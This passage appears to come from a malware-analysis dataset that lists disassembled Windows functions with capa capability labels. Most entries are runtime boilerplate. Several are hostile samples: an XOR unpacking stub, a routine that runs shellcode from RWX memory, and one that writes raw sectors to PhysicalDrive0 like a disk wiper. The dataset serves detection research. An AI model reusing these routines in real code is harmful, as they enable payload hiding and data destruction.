joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4092cc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00405b41
and dword [ebp - 0x14], 0
cmp dword [0x411ca0], 0
mov dword [ebp - 0x18], eax
jne 0x40937f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x409427
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x409427
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x411ca0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x411ca4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x411ca8], eax
call edi
push eax
call esi
mov dword [0x411cb0], eax
test eax, eax
je 0x40937f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x411cac], eax
mov eax, dword [0x411cac]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4093d8
cmp dword [0x411cb0], ecx
je 0x4093d8
push eax
call esi
push dword [0x411cb0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4093d8
test ebx, ebx
je 0x4093d8
call edi
test eax, eax
je 0x4093cf
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4093cf
test byte [ebp - 8], 1
jne 0x4093d8
or dword [ebp + 0x10], 0x200000
jmp 0x40940b
mov eax, dword [0x411ca4]
cmp eax, dword [ebp - 0x18]
je 0x40940b
push eax
call esi
test eax, eax
je 0x40940b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40940b
mov eax, dword [0x411ca8]
cmp eax, dword [ebp - 0x18]
je 0x40940b
push eax
call esi
test eax, eax
je 0x40940b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x411ca0]
call esi
test eax, eax
je 0x409427
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x409429
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402ca2
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x406f7bd1
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
mov ecx, 0x33dc17f9
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401eb4
Capabilities:
Suspend thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], 1
mov dword [ebp - 0xc], 0
cmp dword [ebp - 0x24], 0
jne 0x401eee
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push str.5343_03453
push 0
push 0x2f0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov dword [ebp - 0x24], eax
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea ecx, [ebp - 0x10]
push ecx
push 0x406140
push 1
push 0
push 0x406130
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
cmp dword [ebp - 0xc], 0x80040154
jne 0x401f49
push 0xb
lea eax, [ebp - 4]
push eax
call fcn.004021fb
add esp, 8
jmp 0x401f51
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4020e2
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x1c], 0xd34
mov dword [ebp - 8], 0x45cb9f34
mov dword [ebp - 0x3c], 0x91f0
mov dword [ebp - 0x30], 0x3a
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x20], eax
push 0x40
push 0x1000
mov eax, dword [ebp - 0x1c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x18], 0
mov ecx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x30]
mov dword [ebp - 0x34], edx
push 4
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x14]
push ecx
call fcn.00401098
add esp, 0xc
mov edx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x38], edx
push 4
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x10]
push ecx
call fcn.00401098
add esp, 0xc
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.0040100f
add esp, 0x10
cmp dword [ebp - 0x34], 0
je 0x4021ae
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
call dword [ebp - 0x34]
jmp 0x4021f2
mov edx, dword [ebp + 8]
mov dword [ebp - 0x18], edx
push 0x20
push 0x1000
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 4
push 0
lea eax, [ebp - 8]
push eax
call fcn.0040100f
add esp, 0x10
push 0x64
push 0
call dword [sym.imp.KERNEL32.dll_VirtualLock]
cmp dword [ebp - 0x18], 0
jbe 0x4021f2
push 0
push 0
push 0
call sub.AVIFIL32.dll_AVIBuildFilterA
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4022ad
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x406150
call fcn.0040303c
mov edi, 0x94
mov eax, edi
call fcn.00403090
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x4082dc], ecx
mov eax, dword [esi + 4]
mov dword [0x4082e8], eax
mov edx, dword [esi + 8]
mov dword [0x4082ec], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x4082e0], esi
cmp ecx, 2
je 0x40230d
or esi, 0x8000
mov dword [0x4082e0], esi
shl eax, 8
add eax, edx
mov dword [0x4082e4], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x402348
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402348
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x402360
cmp eax, 0x20b
je 0x40234d
mov dword [ebp - 0x1c], esi
jmp 0x402374
cmp dword [ecx + 0x84], 0xe
jbe 0x402348
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x40236e
cmp dword [ecx + 0x74], 0xe
jbe 0x402348
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push esi
call fcn.00402feb
pop ecx
test eax, eax
jne 0x4023a0
cmp dword [0x4082cc], 1
jne 0x40238d
call fcn.00402794
push 0x1c
call fcn.0040261d
push 0xff
call fcn.00402486
pop ecx
pop ecx
call fcn.00402f49
mov dword [ebp - 4], esi
call fcn.00402d9e
test eax, eax
jge 0x4023b9
push 0x1b
call fcn.00402288
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x408814], eax
call fcn.00402c7c
mov dword [0x4082c4], eax
call fcn.00402bda
test eax, eax
jge 0x4023df
push 8
call fcn.00402288
pop ecx
call fcn.004029a7
test eax, eax
jge 0x4023f0
push 9
call fcn.00402288
pop ecx
call fcn.004024b6
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x402403
push eax
call fcn.00402288
pop ecx
mov dword [ebp - 0x38], esi
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.0040293e
mov dword [ebp - 0x68], eax
test byte [ebp - 0x38], 1
je 0x402424
movzx eax, word [ebp - 0x34]
jmp 0x402427
push 0xa
pop eax
push eax
push dword [ebp - 0x68]
push esi
push esi
call edi
push eax
call fcn.00401eb4
mov edi, eax
mov dword [ebp - 0x6c], edi
cmp dword [ebp - 0x1c], esi
jne 0x402445
push edi
call fcn.004025dd
call fcn.004025ff
jmp 0x402477
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.00403077
ret
Function at 0x40251b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0x40831c], esi
push edi
jne 0x40253b
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0x408318], esi
mov byte [0x408314], al
jne 0x4025a1
mov ecx, dword [0x408808]
test ecx, ecx
je 0x402582
mov eax, dword [0x408804]
sub eax, 4
cmp eax, ecx
jmp 0x40257b
mov eax, dword [eax]
test eax, eax
je 0x40256d
call eax
mov eax, dword [0x408804]
sub eax, 4
cmp eax, dword [0x408808]
mov dword [0x408804], eax
jae 0x402565
mov eax, 0x40801c
mov esi, 0x408020
cmp eax, esi
mov edi, eax
jae 0x4025a1
mov eax, dword [edi]
test eax, eax
je 0x40259a
call eax
add edi, 4
cmp edi, esi
jb 0x402592
mov eax, 0x408024
mov esi, 0x408028
cmp eax, esi
mov edi, eax
jae 0x4025c0
mov eax, dword [edi]
test eax, eax
je 0x4025b9
call eax
add edi, 4
cmp edi, esi
jb 0x4025b1
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x4025db
push dword [ebp + 8]
mov dword [0x40831c], 1
call fcn.00402486
pop ecx
pop ebp
ret

Function at 0x40261d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x408180]
xor eax, dword [ebp + 4]
mov ecx, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 4], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x408050]
je 0x40264a
inc eax
cmp eax, 0x12
jb 0x40263b
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x408050]
jne 0x40277e
mov eax, dword [0x4082cc]
cmp eax, 1
je 0x402759
cmp eax, edx
jne 0x40267a
cmp dword [0x408048], 1
je 0x402759
cmp ecx, 0xfc
je 0x40277e
push 0x104
lea eax, [ebp - 0x10c]
push eax
push edx
mov byte [ebp - 8], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4026b3
lea eax, [ebp - 0x10c]
push str._program_name_unknown_
push eax
call fcn.00403290
pop ecx
pop ecx
lea eax, [ebp - 0x10c]
push eax
lea edi, [ebp - 0x10c]
call fcn.004034c0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x4026f5
lea eax, [ebp - 0x10c]
push eax
call fcn.004034c0
mov edi, eax
lea eax, [ebp - 0x10c]
sub eax, 0x3b
push 3
add edi, eax
push 0x4064c0
push edi
call fcn.00403390
add esp, 0x10
push edi
call fcn.004034c0
push dword [esi + 0x408054]
mov ebx, eax
call fcn.004034c0
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.00403090
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.00403290
push edi
push ebx
call fcn.004032a0
push 0x4064a0
push ebx
call fcn.004032a0
push dword [esi + 0x408054]
push ebx
call fcn.004032a0
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.00403189
add esp, 0x2c
jmp 0x40277e
push edx
lea eax, [ebp + 8]
push eax
lea esi, [esi + 0x408054]
push dword [esi]
call fcn.004034c0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x118]
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp + 4]
call fcn.0040357c
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403189
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x408434], ebx
push esi
push edi
jne 0x403209
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x403244
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
mov dword [0x408434], eax
je 0x403244
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x408438], eax
call esi
cmp dword [0x4082dc], 2
mov dword [0x40843c], eax
jne 0x403209
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x408444], eax
je 0x403209
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x408440], eax
mov eax, dword [0x408440]
test eax, eax
je 0x40324e
call eax
test eax, eax
je 0x403235
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x408444]
test eax, eax
je 0x403235
test byte [ebp - 8], 1
jne 0x40324e
cmp dword [0x4082e8], 4
jb 0x403248
or byte [ebp + 0x12], 0x20
jmp 0x40326d
xor eax, eax
jmp 0x40327d
or byte [ebp + 0x12], 4
jmp 0x40326d
mov eax, dword [0x408438]
test eax, eax
je 0x40326d
call eax
mov ebx, eax
test ebx, ebx
je 0x40326d
mov eax, dword [0x40843c]
test eax, eax
je 0x40326d
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x408434]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405938
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push 4
pop eax
call fcn.00403090
mov ebx, esp
push 0x1c
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4059cd
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x44]
lea esi, [eax - 1]
not esi
and esi, ebx
sub esi, eax
mov dword [ebp - 4], eax
mov eax, dword [0x4082dc]
mov ecx, eax
dec ecx
neg ecx
sbb ecx, ecx
and ecx, 0xffff1000
add ecx, 0x11000
add ecx, edi
cmp esi, ecx
jb 0x4059cd
cmp eax, 1
je 0x4059e5
mov ebx, edi
mov edi, 0x1000
push 0x1c
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4059cd
add ebx, dword [ebp - 0x18]
test dword [ebp - 0x14], edi
je 0x4059a2
test byte [ebp - 0xf], 1
mov ebx, dword [ebp - 0x24]
je 0x4059c9
xor eax, eax
inc eax
jmp 0x405a01
cmp esi, ebx
jae 0x4059d1
xor eax, eax
jmp 0x405a01
push 4
push edi
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x4082dc]
jmp 0x4059e7
mov ebx, esi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 8]
push ecx
inc eax
push eax
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x54]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4042f6
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x404339
push 0x19
push 0x401a634
push 6
call fcn.0040f725
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x404350
mov eax, 0x419247
jmp 0x4043ff
inc dword [ebp - 4]
fild dword [ebp - 4]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fmul qword [0x419208]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
call fcn.0040109c
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x1bc
call fcn.00410710
add esp, 0x10
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40439e
push ebx
call fcn.0040f71f
add esp, 4
pop eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00403350
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push dword [ebp - 4]
push dword [ebp - 0xc]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x4043e0
push 0x136
push 0x401a634
push 6
call fcn.0040f725
add esp, 0xc
mov eax, dword [ebp - 8]
test eax, eax
je 0x4043fa
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0040f73d
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x4043ff
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x404410
push ebx
call fcn.0040f71f
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x40881a
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push 0
push 0x419218
push str.ComSpec
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x408869
push 0x19
push 0x4013b30
push 6
call fcn.0040f725
add esp, 0xc
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
xor ecx, ecx
inc ecx
push ecx
push eax
cmp ecx, eax
jg 0x4088b0
push 0x77e942
push dword [ebp - 8]
mov ecx, 2
call fcn.00402787
add esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4088a8
push ebx
call fcn.0040f71f
add esp, 4
pop eax
mov dword [ebp - 8], eax
pop eax
pop ecx
jmp 0x408871
add esp, 8
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
push dword [ebp - 8]
push str.ComSpec
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4088e7
push 0xb3
push 0x4013b30
push 6
call fcn.0040f725
add esp, 0xc
mov eax, dword [ebp - 8]
test eax, eax
je 0x408903
push eax
mov ebx, eax
call fcn.00401362
inc eax
push eax
call fcn.0040f73d
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x408908
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x408919
push ebx
call fcn.0040f71f
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret

Function at 0x40891e
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], esp
push 0
mov ebx, dword [ebp - 4]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
cmp dword [ebp - 8], esp
je 0x408962
push 0
push 0x4013b32
push 6
call fcn.0040f725
add esp, 0xc
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 4], ebx
mov dword [ebp - 8], esp
mov ebx, dword [ebp - 4]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
cmp dword [ebp - 8], esp
je 0x40899b
push 0x2c
push 0x4013b32
push 6
call fcn.0040f725
add esp, 0xc
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], esp
mov ebx, dword [ebp - 4]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
cmp dword [ebp - 8], esp
je 0x4089d1
push 0x4f
push 0x4013b32
push 6
call fcn.0040f725
add esp, 0xc
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 8
mov dword [ebp - 4], ebx
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
mov dword [ebp - 8], ebx
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 0xc
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 4]
mov dword [ebx], 0
mov ebx, dword [ebp - 8]
mov dword [ebx], 0
mov ebx, dword [ebp - 0xc]
mov dword [ebx], 0
mov ebx, dword [ebp - 0x10]
mov dword [ebx], 0
mov esp, ebp
pop ebp
ret 4
Function at 0x40d156
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], esp
push 0
push 0
push 3
push 0
push 2
push 0x40000000
push str..PhysicalDrive0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x40d1c7
push 0x19
push 0x401320d
push 6
call fcn.0040f725
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40d1de
mov eax, 0
jmp 0x40d31e
fild dword [ebp + 8]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fmul qword [0x77f6cf]
fstp qword [ebp - 0x20]
mov dword [ebp - 0x24], esp
push 0
push 0
fld qword [ebp - 0x20]
call fcn.0040109c
push eax
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
nop
nop
cmp dword [ebp - 0x24], esp
je 0x40d22f
push 0xfb
push 0x401320d
push 6
call fcn.0040f725
add esp, 0xc
mov dword [ebp - 8], eax
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
je 0x40d24e
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0040f73d
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x77fe18]
test ebx, ebx
je 0x40d262
push ebx
call fcn.0040f71f
add esp, 4
pop eax
mov dword [0x77fe18], eax
mov dword [ebp - 0x14], esp
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x10]
push eax
xor eax, eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x40d29e
push 0x195
push 0x401320d
push 6
call fcn.0040f725
add esp, 0xc
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], esp
push 0
push dword [ebp - 0x18]
push 0x200
mov eax, dword [0x77fe18]
test eax, eax
je 0x40d2bd
add eax, 8
push eax
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x40d2e7
push 0x195
push 0x401320d
push 6
call fcn.0040f725
add esp, 0xc
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], esp
push dword [ebp - 4]
xor eax, eax
call dword [0x77fe74]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x40d316
push 0x1ca
push 0x401320d
push 6
call fcn.0040f725
add esp, 0xc
mov eax, dword [ebp - 0xc]
jmp 0x40d31e
mov esp, ebp
pop ebp
ret 8
Function at 0x4104b0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x18]
push ebx
push ebp
push esi
push edi
push eax
call fcn.00412750
mov edi, dword [esp + 0x38]
xor ebp, ebp
push edi
mov ebx, eax
mov dword [esp + 0x18], ebp
call dword [0x780444]
add esp, 8
test ebx, ebx
je 0x4105f4
test eax, eax
je 0x4105f4
inc eax
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebp, eax
or ecx, 0xffffffff
xor eax, eax
push 0x5c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll_strrchr
mov edi, eax
add esp, 0xc
test edi, edi
je 0x410522
mov byte [edi], 0
inc edi
lea eax, [esp + 0x1c]
push eax
push ebp
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4105e1
push 0x400
mov dword [esp + 0x18], 0x400
mov dword [esp + 0x1c], 1
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x14]
mov esi, eax
mov eax, dword [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push esi
push edx
push 0
push edi
push eax
call ebx
test eax, eax
je 0x4105aa
cmp eax, 0xea
jne 0x4105cd
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [esp + 0x18]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [esp + 0x24]
add esp, 8
lea edx, [esp + 0x14]
mov esi, eax
push edx
lea eax, [esp + 0x1c]
push esi
push eax
push 0
push edi
push ecx
call ebx
test eax, eax
jne 0x410575
mov eax, dword [esp + 0x18]
cmp eax, 1
je 0x4105b8
cmp eax, 2
jne 0x4105cd
push esi
call dword [0x780444]
push eax
push esi
call fcn.00412710
add esp, 0xc
mov dword [esp + 0x10], eax
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov edx, dword [esp + 0x20]
add esp, 4
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x14]
add esp, 4
test eax, eax
jne 0x41061d
mov ebp, eax
mov eax, dword [esp + 0x48]
test eax, eax
je 0x410629
mov esi, dword [esp + 0x40]
test esi, esi
je 0x410629
push esi
call dword [0x780444]
push eax
push esi
call fcn.00412710
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x410fa0
Capabilities:
Create directory

Disassembly:
sub esp, 0xc
mov ecx, dword [esp + 0x14]
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
mov dword [esp], 0xc
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
add esp, 0xc
ret